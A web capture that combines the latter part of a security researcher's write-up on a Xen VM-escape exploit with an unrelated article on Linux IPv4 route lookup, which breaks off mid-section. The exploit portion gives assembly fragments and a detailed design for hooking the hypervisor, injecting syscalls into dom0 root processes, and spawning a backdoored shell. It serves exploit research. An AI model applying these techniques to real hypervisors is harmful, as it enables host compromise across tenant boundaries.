My payload is broken into three broad stages. The first stage is executed in
what is sometimes referred to as the 'fault context', which isn't ideal for
doing a lot of work. Operating solely from this context wouldn't allow us to
safely poke around other domains or anything like that. So the goal of stage 1
is simply to hook into the hypervisor and setup a stage 2 payload that will be
called from within the process context.

This is done by hooking the IDT at index 0x80, which is still used for system
calls on some 32-bit x86 OSes. The I _A32\_SYSENTER\_EIP_ machine specific
register \(MSR\) which holds the entry point when handling ring3 to ring0
transitions via the sysenter instruction, used for syscalls on most 32-bit x86
OSes. And lastly the  _IA32\_LSTAR MSR_ which holds the entry point when
handling ring3 to ring0 transitions via the syscall instruction, used for
syscalls on 64-bit x86 OSes.

Why we hook all three of these will become clear in later phases, but
basically it allows us to support 32-bit and 64-bit dom0 migration, and also
carry out dom0 OS detection.

We need to point all of these hook locations to our stage 2 payload, which
then raises the question, where do we store stage 2. We need to dynamically
find a place to store the stage 2 payload. The VUPEN paper discusses storing
this in an unused portion of the Hypervisor, since the .text segment is RWX.
At first I tried to scan for a NULL cavity after .text ended and before the
read-only data, however in practice I never found a spot big enough. I also
tried scanning backwards to find an ELF header for the hypervisor in hopes of
parsing it to determine the exact point that certain cavities might exist, but
it turns out no ELF header is in memory.

One option then would be to simply scan for certain patterns in dead code,
like a panic\(\) function, or some debugging routines and store the payload
there. Depending on your payload size though, this could be somewhat limiting.
Instead I started poking around the memory space. If you look at where the Xen
hypervisor code starts in memory you'll see this:

|  `* 0xffff82d080000000 - 0xffff82d0bfffffff [1GB, 2^30 bytes, PML4:261]` `*
Xen text, ` `static` `data, bss.`  
---|---  
However, in practice the hypervisor is actually mapped into memory at an
offset inside of that base address. You can see that in the Xen loader script
at  _xen/arch/x86/xen.lds.S_ :

|  `SECTIONS` `{` `#if !defined(EFI)` `. = __XEN_VIRT_START;` `__image_base__
= .;` `#endif` `. = __XEN_VIRT_START + 0x100000;` `_start = .;` `.text : {`
`[...]`  
---|---  
In my testing it seemed that the memory between \__\_XEN\_VIRT\_START and
\_\_XEN\_VIRT\_START+0x100000_ was largely unused. So I simply scanned
backwards from a .text address I knew in the hypervisor until I found a cavity
of NULLs large enough to hold the payload.

This seemed stable in all of my testing, however it's possible that it is used
for something I overlooked. To be clear, we’re running inside stage 2 so
finding a valid hypervisor .text address is trivial. We can just use one the
original function address in one of the MSRs we hook, etc.

There is another more reliable way to store the payload without relying on the
above, however, it will be described in the future post about bypassing SMEP.

So, now that we've got a place to store stage 2 and we've hooked everything we
need stage 1 to exit cleanly from the hypervisor. Ideally this should jump
back into our LKM in domU cleanly, so that we can unload the module
\(eventually\) and also not cause any issues on the hypervisor end. We can
simply setup a custom iret stack that points to some safe spot in our LKM that
allows us to recover, and we're good. This is no different than most kernel
exploit payloads that need to transition from ring0 to ring3, which have been
used for ages.

To allow my exploit to resume exactly after the sysret call I issue to trigger
the bug, I store my exploits stack pointer right before the call inside my
payload. I also store the address of a label immediately following the jump to
my syscall instruction that will be jumped to. This looks like the following:

|  `__asm__ __volatile__(` `"movq %0, %%rax\n\t"` `"movq %%rsp, (%%rax)\n\t"`
`"movq %1, %%rsp\n\t"` `"jmp *%%rbx\n\t"` `:` `: ` `"g"` `(orig_stack), `
`"g"` `(sp), ` `"b"` `(SYSRET_ADDR)` `:` `);` `recover:` `asm(` `"nop"` `);`  
---|---  
And my recovery code in the stage 1 payload is:

|  `pushq $0xe02b # SS segment` `movq orig_stack(%rip), %rax` `pushq %rax #
Stack address (orig_stack)` `pushq $0x246 # RFLAGS` `pushq $0xe033 # CS
segment` `movq safe_label(%rip), %rax # Safe ` `return` `address (recover
label)` `pushq %rax` `iretq<br><br><br>`  
---|---  
## Stage 2 payload

So now that stage 2 payload in place and we might be entering it from one of
three hooks, we record the trap type before jumping to a central entry point.
Our stage 2 payload will be responsible for a lot of work.

## dom0 detection

We want to target processes trapping into the hypervisor from dom0 only, and
ignore the rest. VUPEN mentioned only targeting dom0, but doesn't actually say
how. When you intercept a trap a legit vcpu structure will accessible on the
current stack, so we can basically replicate what Xen itself does. We get a
pointer to the vcpu and we grab it's _vcpu- >domain pointer_, which contains a
_domain\_id membe_ r. We simply exit early if this value is not zero.

|  `# GET_CURRENT()` `mov $0xffffffffffff8000, %rax` `andq %rsp, %rax` `orq
$0x7fe8, %rax ` `movq (%rax), %rax ` `# Is this domain 0? -
current->domain->domain_id` `movq 0x10(%rax), %rbx` `movq (%rbx), %rcx` `cmp
$0x0, %rcx` `jne cleanup`  
---|---  
## Userland detection

VUPEN also didn't mention exactly how this is done, but Xen conveniently
provides a flag called  _TF\_kernel\_mode_ that indicates whether or not a
trap occurred from kernel or userland. This can be found in the  _vcpu-
>arch.flags_ field.

Checking this flag is relevant only to when our payload is entered via a
syscall instruction, where userland will use it for calling into syscalls in
the guest kernel, and the guest kernel will use it for calling into hypercalls
in the Xen hypervisor. On the other hand, on 32-bit, sysenter is only used by
userland calling syscalls in the guest kernel, so immediately lets you know
it's a userland process. Similarly int 0x80 is only used by userland for
syscalls, whereas int 0x82 is used by the kernel for hypercalls.

## Architecture detection

Now that we know we've trapped something from dom0 we want to know what
architecture it is, as this will inform how we actually migrate into it
eventually. In general the easiest way to do this is detect how the process
trapped into the payload. 64-bit Linux will issue syscalls via the syscall
instruction. 32-bit Linux will use the sysenter instruction.

Relying just on the trap type isn't quite enough however because of 32-bit
compatibility, which could mean that a 32-bit process is running on 64-bit
Linux. Fortunately Xen provides a flag that indicates if the domain is a
32-bit PV guest or not, which can be found in  _vcpu-
>domain->arch.is\_32bit\_pv_. So we can use the trap type as a general
indicator, but make sure we're correct by double checking against this value.

## OS detection

Technically dom0 can be Linux, NetBSD, or OpenSolaris. The latter is
discontinued and only OpenSolaris 2009 was a supported dom0, so I don't worry
about it atm. If we want to migrate into dom0 it is better to try to determine
what operating system it is rather than assume it is Linux.

There are a few ways this could be done. Two ways stood as the easiest to me.

One of the most obvious ways to me was to scan through the kernel memory of
the trapping dom0 guest and search for some sort of identifiable string unique
to each OS. This should be fairly reliable. I didn't like this reason
primarily because I was worried that strings might change and not be reliable,
it is slow to search through all of memory, NetBSD contains references to the
string “Linux” \(so I'd have to find something potentially more volatile than
something that simple\) and lastly I don't technically know when the kernel
memory ends so could potentially crash running off the end of memory.

The second idea I had was to inject a system call into the trapping dom0
process that could be used to differentiate between the operating system. By
finding a syscall that is valid on one and invalid on the other, it should be
relatively easy to intercept the return value and figure it out. This is the
route I went down. By comparing the syscall tables in 32-bit and 64-bit Linux,
and NetBSD \(which uses the same table for both architectures\), I noticed one
pretty quick.

In NetBSD they've got the following syscall, from
_/usr/src/sys/kern/syscalls.master_ :

391 IGNORED

|  `old posix_fadvise`  
---|---  
On NetBSD the IGNORED syscall types will simply return success. This is noted
in the syscalls.master file header: "IGNORED syscall is a null op, but always
succeeds"

On Linux there aren't nearly so many syscalls, and 391 isn't even valid. From
_/arch/x86/syscalls/syscall\_64.tb_ l we see that syscalls end at value 313,
and resume at 512.

|  `319 common memfd_create sys_memfd_create` `320 common kexec_file_load
sys_kexec_file_load` `321 common bpf sys_bpf` `322 64 execveat stub_execveat`
`#` `# x32-specific system call numbers start at 512 to avoid cache impact` `#
for native 64-bit operation.` `#` `512 x32 rt_sigaction
compat_sys_rt_sigaction` `513 x32 rt_sigreturn stub_x32_rt_sigreturn` `514 x32
ioctl compat_sys_ioctl`  
---|---  
And from _/arch/x86/syscalls/syscall\_32.tbl w_ e see the maximum syscall
value is 350. Unused system calls on Linux return _-ENOSYS, via the
sys\_ni\_syscall\(\)_ function.

|  `354 i386 seccomp sys_seccomp` `355 i386 getrandom sys_getrandom` `356 i386
memfd_create sys_memfd_create` `357 i386 bpf sys_bpf` `358 i386 execveat
sys_execveat stub32_execveat`  
---|---  
To reiterate this means if we inject syscall 391 into the dom0 process and
intercept the result, a return of 0 means it's NetBSD and a return of
_–ENOSYS_ means it's Linux.

How do we inject syscalls? I won't dive deeply into the details, but basically
we have all of the information we need about the trapping process to save what
it was trying to do, replace the values we want to control, and reset the
return location so that it re-traps and we can resume the call it had wanted
to make in the first place.

To provide a simple example, let’s examine the syscall instruction ABI.
Syscall arguments are passed in  _%rdi, %rsi, %rdx, %r10, %r8, and %r9_. The
return address is stored in  _%rcx._ The syscall number is stored in %rax. The
userland stack is stored on our hypervisor stack, in order for us to later
sysret or iretq back into userland. We simply store all of the argument
registers, the original syscall number for restoration later. We then change
them with whatever we want.

In the case of OS detection, we simply change  _%rax_ to hold 391. We also
decrement the return address by 2, so that when the syscall returns, it lands
back onto the syscall instruction in userland and re-traps, allowing us to
restore things.

Finally, we store the userland stack and the address of the syscall
instruction itself. We do this last part so that we can accurately identify
the exact same process and thread that we intercepted the call from, since the
combination of the userland stack address and execution address should be a
reliably unique pair.

That's it. Now we just pass the syscall off as usual and wait for the next
trap. For every dom0 trap we receive we test to see if there is a match
against the code and stack pointers we saved. If so, we know that this is the
dom0 process we injected into, and the return value from the previous syscall
will be in %rax. As noted earlier, if it's  _-ENOSYS_ we know it is Linux. If
it's 0, we know it is NetBSD.

I gave one example of injecting syscalls, but note that how this is done will
depend on the actual trap type that was used to enter the payload. The
syscall, int $0x80 and sysenter instructions all need to be handled in
different ways in order to effectively inject and force re-traps.

There can also be shortcuts to the above. For instance, NetBSD still doesn't
support using sysenter for syscalls, so if the stage 2 payload is entered via
sysenter, you can be reasonably sure it is Linux already and skip the
injection.

Note that although I show how to differentiate between the dom0 OS, the rest
of this article discusses things within the context of migrating into Linux,
as it is highly unlikely that NetBSD would ever be encountered.

## Finding a root process

The VUPEN article mentions identifying a root process to migrate into, but
they don't mention how they actually detect if a process is root. The first
way I thought to do this was to mimic the way a kernel exploit or rootkit
manipulates a process, which is just basically finding the associated kernel
credential structure in memory and then testing it for root. There are a few
problems with this approach.

First, you run into the same problem some kernel rootkits and exploits have
where they can't always be 100% certain what the credential offset is within
the task structure, due to unknown configuration options, and in our case an
unknown kernel version in dom0 as well. The way this is typically solved is by
finding the task\_struct base and searching for a known process name. The idle
task on Linux is called swapper so it can be reliably searched for in order to
find the comms array within the  _task\_struct_. From there you can easily
work backwards to find the credential structure. One example of this being
done is in an Android rootkit demonstrated in in Phrack 68 \[11\].

In order to find the  _task\_struct_ base in our case, we'd need to query the
kernel stack for the process that is trapping, access the  _thread\_info_
structure on the stack, which will point us to the  _task\_struct_. In order
to do this for the idle task, we'd have to test if the trapping dom0 process
is actually userland or kernel. Xen provides a flag to indicate this on PV
guests as noted. So far so good, but we run into a different problem.

When a userland process traps into the hypervisor via a syscall-related
instruction, the page tables are setup to access userlands memory only, not
the kernels. So we can find the kernel stack address by parsing the vcpu
structure, but we can't actually access it. Transitioning to the guest’s
kernel page tables is non-trivial to re-create and otherwise would require
calling into a Xen function we don't know the address of, so this leaves us in
a situation where even if we knew the credential offset, we can't easily get
at it.

So I just scrapped that idea. Instead I decided to just go back to the syscall
injection route. We already inject syscalls to do OS detection, and if you've
read the VUPEN paper, you know that's how we'll migrate into the dom0 process,
so we may as well do it for root detection. We simply do exactly what was
described for injecting the syscall for OS detection, but inject a
_getuid\(\) syscall_. If the return value is zero, then we move onto the next
phase of migration, otherwise we just restore the original syscall and leave
the process alone.

## Migration

Once we have a root process candidate, the process I follow is very similar to
what VUPEN described. Inject a  _mmap\(\)_ call to allocate a RWX buffer,
record the return address upon encountering the re-trap, copy a stage 3
userland payload into the new buffer, and redirect execution to the payload by
changing the return address. I let this particular syscall fail which will
just return to us to the buffer. As long as we have recorded the original
values, we can have our stage 3 payload let us know when to restore it.

And of course depending on the underlying architecture of the dom0 process, I
inject a different stage 3 payload.

It should be noted that one caveat to the payload I wrote is that the root
process might actually be jailed in something like a namespace, and not
actually have true root on the system. In order to break out of the namespace
it would be ideal to simply patch the  _task\_struct_ in the kernel, however
we run into some of the problems mentioned above. One possibility is that once
we have code running inside a process and know it's process name, we could
technically tell the stage 2 payload the name of our process and have it
search through the task structure linked list at a time when the kernel page
tables are setup correctly. If I recall correctly though, even if you know the
comms array offset, finding the namespace pointer is not as straightforward as
finding the credentials structure. I haven't implemented this yet, so won't
discuss it further.

## Stage 2 summary

Obviously stage 2 had a lot to do. It can be hard to remember all of the
different things it needs to do, so I’ve provided a fairly simple flow diagram
to show the various stages that it will come in and out of play and how it
works through everything that is needed.

<img src='https://www.nccgroup.com/media/481787/xen-2_1200x1386.jpg' alt='XEN
- 2' />

## Stage 3 payload

So now we've got our code running in a root process. The VUPEN article
mentions using a bindshell or a connectback payload. I don't like the idea of
a bindshell because you don't necessarily know the IP address of the dom0
system, so don't easily know where to connect. Also both a bindshell and
connectback payload suffer from failure in the event that the dom0 is
restricted to an isolated network or has strict firewall controls.

I wanted to be able to access dom0 without any of these restrictions by using
an inter-domain communication channel. Tunneling data between the guest and
host in a VM escape exploit seems ideal. Kostya Kortchinsky used a framebuffer
as a communication channel when exploiting VMWare \[12\]. I’m pretty sure
there are other examples, but I couldn't dig any up, other than things like
cache-based covert channels.

So like most things there are a few options with how to approach this.
Originally I thought about using shared memory between domU and dom0 as a
communication channel, much in the way the frontend and backend drivers
communicate in paravirtualized guests. However, the issue with this is that
dom0 must actively accept a grant offering from domU, which means doing so in
the kernel. I didn't want to have to compile an lkm once I was on dom0.

Another approach I thought about was using XenStore, which is an OpenFirmware-
like text-based filesystem used to share information between guests and
_dom0,_ and is accessible from  _dom0_ userland using the Xen API. And is
accessible by default in PV guests. My issue with this approach was relying on
certain libraries being available on dom0, the complexity of interacting with
XenStore without the libraries, and the relatively low bandwidth that would be
provided by something not meant for data transfers.

I decided that since I already have control of the hypervisor and it's easy to
trap into it in an identifiable way, I would just use the hypervisor itself as
an intermediary for proxying data between domains. Although I didn't mention
it earlier, part of my stage 2 payload is basically a syscall backdoor. I can
detect processes making certain backdoor requests and basically proxy data
between memory locations. I use a simple polling mechanism on both dom0 and
domU side.

As an example let’s say dom0 makes a backdoor call to transfer up to 4kb of
memory. The stage 2 payload takes this and stores it in an intermediary
buffer. Meanwhile domU is polling with a separate backdoor call to see if
there is any data for it to receive from dom0. On the next iteration the
backdoor call will see that there is indeed data pending and will copy it
over. By using a separate dom0 and domU data buffer, it's easy to seamlessly
transfer data between the two.

In order to make this work well for spawning a shell on dom0, I break my stage
3 payload into two parts. After forking into its own process it sets up 2
pipes and then fork\(\)'s again. One copy of the process acts as a data proxy,
copying data from the read pipe through the hypervisor backdoor, as well as
reading data from the hypervisor backdoor and writing it to the write pipe.
The other process uses dup2\(\) to make the read and write pipe stdin and
stdout/stderr respectively, and then spawns a shell as normal. This ends up
looking like what is show in the next illustration.

<img src='https://www.nccgroup.com/media/481788/xen-3.png' alt='XEN - 3' />

To make this usable from the domU side I use a userland frontend for the
exploit that drives the lkm through exploitation but then can use the data
tunneling backdoor so that it is easy for the user to interact as if it were
normal shellcode.

As a final note about this type of data tunneling in general, I just want to
note that for this exploit it works well, however if you had only compromised
dom0 directly, as demonstrated by @shiftreduce at 31C3 this year \[13\], you'd
need to come up with another way; or you'd just have to break into the
hypervisor from dom0, which he suggested he could do anyway.

The following screenshots show exploitation on a 32-bit and 64-bit machine
respectively. You can see that the shell shows a separate system, indicated by
the uname output, and also you can see that domain-0 is running at the time xl
list is run.

**32-bit:**

<img src='https://www.nccgroup.com/media/481789/xen-4.png' alt='XEN - 4' />

**64-bit:**

<img src='https://www.nccgroup.com/media/481790/xen-5.png' alt='XEN - 5' />

## Conclusions

So that's it. If you made it this far hopefully you have some ideas about how
to write your own VM escape exploit.

Although this bug is a little old I think it's valuable to revisit interesting
bugs and see what you can learn from them. Hopefully this shows the
considerations that need to be made when blindly exploiting an OS can become
quite complicated, but can be done in the right circumstances.

Thanks for reading.

If you have any comments or corrections please feel free to email me:

aaron <.>

adams <@> nccgroup.com.

## References

1\. http://lists.xen.org/archives/html/xen-announce/2012-06/msg00001.html

2\. https://media.blackhat.com/bh-
us-12/Briefings/Wojtczuk/BH\_US\_12\_Wojtczuk\_A\_Stitch\_In\_Time\_WP.pdf

3\. https://media.blackhat.com/bh-
us-12/Briefings/Wojtczuk/BH\_US\_12\_Wojtczuk\_A\_Stitch\_In\_Time\_Slides.pdf

4\. http://wiki.xen.org/wiki/Paravirtualization\_%28PV%29

5\.
http://www.vupen.com/blog/20120904.Advanced\_Exploitation\_of\_Xen\_Sysret\_VM\_Escape\_CVE-2012-0217.php

6\. https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd.html

7\. http://xenbits.xen.org/ext/debuggers.hg/

8\. http://www.gossamer-
threads.com/lists/xen/devel/207023?search\_string=kdb%204.1;\#207023

9\. http://zhigang.org/wiki/XenDebugging\#debugging-xen-hypervisor-with-kdb

10\. http://www.intel.com/content/www/us/en/processors/architectures-software-
developer-manuals.html

11\. http://phrack.org/issues/68/6.html

12\. https://www.blackhat.com/presentations/bh-
usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-SLIDES.pdf

13\. \(Starts @ 1h50m\):
http://media.ccc.de/browse/congress/2014/31c3\_-\_6579\_-\_en\_-\_saal\_g\_-\_201412291245\_-\_lightning\_talks\_day\_3\_-\_theresa.html\#video&t=6609

comments powered by Disqus

# IPv4 route lookup on Linux | Vincent Bernat
**Created:**| _6/29/2017 3:58:18 PM_  
---|---  
**Updated:**| _6/29/2017 3:58:18 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# IPv4 route lookup on Linux

## Vincent Bernat — June 21, 2017

Also available in:

  * —  Français 

Filed under:

  * —  Network 

Attachments:

  * — GitHub repository

**TL ;DR**: With its implementation of IPv4 routing tables using LPC-tries,
Linux offers good lookup performance \(50 ns for a full view\) and low memory
usage \(64 MiB for a full view\).

* * *
···

During the lifetime of an IPv4 datagram inside the Linux kernel, one important
step is the **route lookup for the destination address** through the
`fib_lookup()` function. From essential information about the datagram
\(source and destination IP addresses, interfaces, firewall mark, …\), this
function should quickly provide a decision. Some possible options are:

  * local delivery \(`RTN_LOCAL`\),
  * forwarding to a supplied next hop \(`RTN_UNICAST`\),
  * silent discard \(`RTN_BLACKHOLE`\).

1

The routing cache was subject to reasonably easy to launch denial of service
attacks. It was also believed to not be efficient for high volume sites like
Google but I have first-hand experience it was not the case for moderately
high volume sites.

Since 2.6.39, Linux stores routes into a **compressed prefix tree** \(commit
3630b7c050d9\). In the past, a route cache was maintained but it has been
removed1 in Linux 3.6.

  * ·Route lookup in a trie
    * ·Lookup with a simple trie
    * ·Lookup with a path-compressed trie
    * ·Lookup with a level-compressed trie
  * ·Implementation in Linux
    * ·Performance
    * ·Memory usage
  * ·Routing rules
    * ·Builtin tables
    * ·Performance
  * ·Conclusion

# Route lookup in a trie

Looking up a route in a routing table is to find the **most specific prefix**
matching the requested destination. Let’s assume the following routing table:

[code]

    $ ip route show scope global table 100
    default via 203.0.113.5 dev out2
    192.0.2.0/25
            nexthop via 203.0.113.7  dev out3 weight 1
            nexthop via 203.0.113.9  dev out4 weight 1
    192.0.2.47 via 203.0.113.3 dev out1
    192.0.2.48 via 203.0.113.3 dev out1
    192.0.2.49 via 203.0.113.3 dev out1
    192.0.2.50 via 203.0.113.3 dev out1
    
[/code]

Here are some examples of lookups and the associated results:

Destination IP | Next hop  
---|---  
`192.0.2.49` | `203.0.113.3` via `out1`  
`192.0.2.50` | `203.0.113.3` via `out1`  
`192.0.2.51` | `203.0.113.7` via `out3` or `203.0.113.9` via `out4` \(ECMP\)  
`192.0.2.200` | `203.0.113.5` via `out2`  
A common structure for route lookup is the trie, a tree structure where each
node has its parent as prefix.

## Lookup with a simple trie

The following trie encodes the previous routing table:

<img src='img/lpc-trie-simple-trie-2.svg' width='690' height='440' alt='Simple
routing trie' />

Simple routing trie for a small routing table. For readibility, the trie has
been cut in two parts. The nodes with an arrow contain an actual route entry.

For each node, the prefix is known by its path from the root node and the
prefix length is the current depth.

A lookup in such a trie is quite simple: at each step, fetch the _n_ th bit of
the IP address, where _n_ is the current depth. If it is 0, continue with the
first child. Otherwise, continue with the second. If a child is missing,
backtrack until a routing entry is found. For example, when looking for
`192.0.2.50`, we will find the result in the corresponding leaf \(at depth
32\). However for `192.0.2.51`, we will reach `192.0.2.50/31` but there is no
second child. Therefore, we backtrack until the `192.0.2.0/25` routing entry.

Adding and removing routes is quite easy. From a performance point of view,
the lookup is done in constant time relative to the number of routes \(due to
maximum depth being capped to 32\).

Quagga is an example of routing software still using this simple approach.

## Lookup with a path-compressed trie

In the previous example, most nodes only have one child. This leads to a lot
of unneeded bitwise comparisons and memory is also wasted on many nodes. To
overcome this problem, we can use **path compression** : each node with only
one child is removed \(except if it also contains a routing entry\). Each
remaining node gets a new property telling how many input bits should be
skipped. Such a trie is also known as a _Patricia trie_ or a radix tree. Here
is the path-compressed version of the previous trie:

<img src='img/lpc-trie-patricia-trie-2.svg' width='374' height='268'
alt='Patricia trie' />

Patricia trie for a small routing table. Some nodes indicate how many
additional input bits to skip.

Since some bits have been ignored, on a match, a final check is executed to
ensure all bits from the found entry are matching the input IP address. If
not, we must act as if the entry wasn’t found \(and backtrack to find a
matching prefix\). The following figure shows two IP addresses matching the
same leaf:

<img src='img/lpc-trie-patricia-trie-lookup-2.svg' width='423' height='303'
alt='Lookup in a Patricia trie' />

Lookup of two IP addresses in a Patricia trie. Both IP share the same checked
bits but differ on the skipped ones.

The reduction on the average depth of the tree compensates the necessity to
handle those false positives. The insertion and deletion of a routing entry is
still easy enough.

Many routing systems are using Patricia trees:

  * OpenBSD
  * NetBSD
  * FreeBSD
  * GoBGP \(through go-radix\)
  * Linux for IPv6

## Lookup with a level-compressed trie

2

“IP-address lookup using LC-tries”, IEEE Journal on Selected Areas in
Communications, 17\(6\):1083-1092, June 1999.

In addition to path compression, **level compression**2 detects parts of the
trie that are **densily populated** and replace them with a single node and an
associated vector of 2 _k_ children. This node will handle _k_ input bits
instead of just one. For example, here is a level-compressed version our
previous trie:

<img src='img/lpc-trie-lpc-trie-2.svg' width='363' height='248' alt='Level-
compressed trie' />

LPC trie. Two levels are merged into a single one using a 4-element vector.
The last element of this vector is empty.

Such a trie is called LC-trie or **LPC -trie** and offers higher lookup
performances compared to a radix tree.

An heuristic is used to decide how many bits a node should handle. On Linux,
if the ratio of non-empty children to all children would be above 50% when the
node handles an additional bit, the node gets this additional bit. On the
other hand, if the current ratio is below 25%, the node loses the
responsibility of one bit. Those values are not tunable.

Insertion and deletion becomes more complex but lookup times are also
improved.

# Implementation in Linux

The implementation for IPv4 in Linux exists since 2.6.13 \(commit
19baf839ff4a\) and is enabled by default since 2.6.39 \(commit 3630b7c050d9\).

3

For internal nodes, the `key_vector` structure is embedded into a `tnode`
structure. This structure contains information rarely used during lookup,
notably the reference to the parent that is usually not needed for
backtracking as Linux keeps the nearest candidate in a variable.

Here is the representation of our example routing table in memory3:

<img src='img/lpc-trie-struct-2.svg' width='696' height='884' alt='Memory
representation of a trie' />

In-memory representation of an LPC trie in Linux

There are several structures involved:

  * `struct fib_table` represents a routing table,
  * `struct trie` represents a complete trie,
  * `struct key_vector` represents either an internal node \(when `bits` is not zero\) or a leaf,
  * `struct fib_info` contains the characteristics shared by several routes \(like a next-hop gateway and an output interface\),
  * `struct fib_alias` is the glue between the leaves and the `fib_info` structures.

The trie can be retrieved through `/proc/net/fib_trie`:

[code]

    $ cat /proc/net/fib_trie
    Id 100:
      +-- 0.0.0.0/0 2 0 2
         |-- 0.0.0.0
            /0 universe UNICAST
         +-- 192.0.2.0/26 2 0 1
            |-- 192.0.2.0
               /25 universe UNICAST
            |-- 192.0.2.47
               /32 universe UNICAST
            +-- 192.0.2.48/30 2 0 1
               |-- 192.0.2.48
                  /32 universe UNICAST
               |-- 192.0.2.49
                  /32 universe UNICAST
               |-- 192.0.2.50
                  /32 universe UNICAST
    [...]
    
[/code]

For internal nodes, the numbers after the prefix are:

  1. the number of bits handled by the node,
  2. the number of full children \(they only handle one bit\),
  3. the number of empty children.

4

One leaf can contain several routes \(`struct fib_alias` is a list\). The
number of “prefixes” can therefore be greater than the number of leaves. The
system also keeps statistics about the distribution of the internal nodes
relative to the number of bits they handle. In our example, all the three
internal nodes are handling 2 bits.

Moreover, if the kernel was compiled with `CONFIG_IP_FIB_TRIE_STATS`, some
interesting statistics are available in `/proc/net/fib_triestat`4:

[code]

    $ cat /proc/net/fib_triestat
    Basic info: size of leaf: 48 bytes, size of tnode: 40 bytes.
    Id 100:
            Aver depth:     2.33
            Max depth:      3
            Leaves:         6
            Prefixes:       6
            Internal nodes: 3
              2: 3
            Pointers: 12
    Null ptrs: 4
    Total size: 1  kB
    [...]
    
[/code]

When a routing table is very dense, a node can handle many bits. For example,
a densily populated routing table with 1 million entries packed in a /12 can
have one internal node handling 20 bits. In this case, route lookup is
essentially reduced to a lookup in a vector.

The following graph shows the number of internal nodes used relative to the
number of routes for different scenarios \(routes extracted from an Internet
full view, /32 routes spreaded over 4 different subnets with various
densities\). When routes are densily packed, the number of internal nodes are
quite limited.

<img src='img/lpc-trie-nodes-2.svg' width='506' height='522' alt='Internal
nodes and null pointers' />

Number of internal nodes and null pointers depending on the number of routes.
The x-axis scale is logarithmic. The blue line is a linear regression.

## Performance

5

The measurements are done in a virtual machine with one vCPU. The host is an
Intel Core i5-4670K running at 3.7 GHz during the experiment \(CPU governor
was set to performance\). The kernel is Linux 4.11. The benchmark is single-
threaded. It runs a warm-up phase, then executes about 100,000 timed
iterations and keeps the median. Timings of individual runs are computed from
the TSC.

So how performant is a route lookup? The maximum depth stays low \(about 6 for
a full view\), so a lookup should be quite fast. With the help of a small
kernel module, we can accurately benchmark5 the `fib_lookup()` function:

<img src='img/lpc-trie-maxdepth-2.svg' width='506' height='522' alt='Maximum
depth and lookup time' />

Maximum depth and lookup time depending on the number of routes inserted. The
x-axis scale is logarithmic.

The lookup time is loosely tied to the maximum depth. When the routing table
is densily populated, the maximum depth is low and the lookup times are fast.

When forwarding at 10 Gbps, the time budget for a packet would be about 50 ns.
Since this is also the time needed for the route lookup alone in some cases,
we wouldn’t be able to forward at line rate with only one core. Nonetheless,
the results are pretty good and they are expected to scale linearly with the
number of cores.

Another interesting figure is the time it takes to insert all those routes
into the kernel. Linux is also quite efficient in this area since you can
insert 2 million routes in less than 10 seconds:

<img src='img/lpc-trie-time-2.svg' width='500' height='289' alt='Insertion
time' />

Insertion time \(system time\) for a given number of routes \(linear\). The
x-axis scale is logarithmic. The blue line is a linear regression.

## Memory usage

The memory usage is available directly in `/proc/net/fib_triestat`. The
statistic provided doesn’t account for the `fib_info` structures, but you
should only have a handful of them \(one for each possible next-hop\). As you
can see on the graph below, the memory use is linear with the number of routes
inserted, whatever the shape of the routes is.

<img src='img/lpc-trie-memory-2.svg' width='522' height='289' alt='Memory
usage' />

Memory usage of the LPC-trie depending on the number of routes inserted
\(linear\). The x-axis cale is logarithmic. The blue line is a linear
regression.

The results are quite good. With only 256 MiB, about 2 million routes can be
stored\!

# Routing rules

Unless configured without `CONFIG_IP_MULTIPLE_TABLES`, **Linux supports
several routing tables** and has a system of configurable rules to select the
table to use. These rules can be configured with `ip rule`. By default, there
are three of them:

[code]

    $ ip rule show
    0:      from all lookup local
    32766:  from all lookup main
    32767:  from all lookup default
    
[/code]

Linux will first lookup for a match in the `local` table. If it doesn’t find
one, it will lookup in the `main` table and at last resort, the `default`
table.

## Builtin tables

The `local` table contains routes for local delivery:

[code]

    $ ip route show table local
    broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1
    local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
    local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1
    broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1
    broadcast 192.168.117.0 dev eno1 proto kernel scope link src 192.168.117.55
    local 192.168.117.55 dev eno1 proto kernel scope host src 192.168.117.55
    broadcast 192.168.117.63 dev eno1 proto kernel scope link src 192.168.117.55
    
[/code]

This table is populated automatically by the kernel when addresses are
configured. Let’s look at the three last lines. When the IP address
`192.168.117.55` was configured on the `eno1` interface, the kernel
automatically added the appropriate routes:

  * a route for `192.168.117.55` for local unicast delivery to the IP address,
  * a route for `192.168.117.255` for broadcast delivery to the broadcast address,
  * a route for `192.168.117.0` for broadcast delivery to the network address.

When `127.0.0.1` was configured on the loopback interface, the same kind of
routes were added to the `local` table. However, a loopback address receives a
special treatment and the kernel also adds the whole subnet to the `local`
table. As a result, you can ping any IP in `127.0.0.0/8`:

[code]

    $ ping -c1 127.42.42.42
    PING 127.42.42.42 (127.42.42.42) 56(84) bytes of data.
    64 bytes from 127.42.42.42: icmp_seq=1 ttl=64 time=0.039 ms
    
    --- 127.42.42.42 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 0.039/0.039/0.039/0.000 ms
    
[/code]

The `main` table usually contains all the other routes:

[code]

    $ ip route show table main
    default via 192.168.117.1 dev eno1 proto static metric 100
    192.168.117.0/26 dev eno1 proto kernel scope link src 192.168.117.55 metric 100
    
[/code]

The `default` route has been configured by some DHCP daemon. The connected
route \(`scope link`\) has been automatically added by the kernel \(`proto
kernel`\) when configuring an IP address on the `eno1` interface.

6

Fun fact: the documentation of this first tentative of more flexible routing
is still available in today’s kernel tree and explains the usage of the
“default class”.

The `default` table is empty and has little use. It has been kept when the
current incarnation of advanced routing has been introduced in Linux 2.1.68
after a first tentative using “classes” in Linux 2.1.156.

## Performance

Since Linux 4.1 \(commit 0ddcf43d5d4a\), when the set of rules is left
unmodified, the `main` and `local` tables are merged and the lookup is done
with this single table \(and the `default` table if not empty\). Without
specific rules, there is no performance hit when enabling the support for
multiple routing tables. However, as soon as you add new rules, some CPU
cycles will be spent for each datagram to evaluate them. Here is a couple of
graphs demonstrating the impact of routing rules on lookup times:

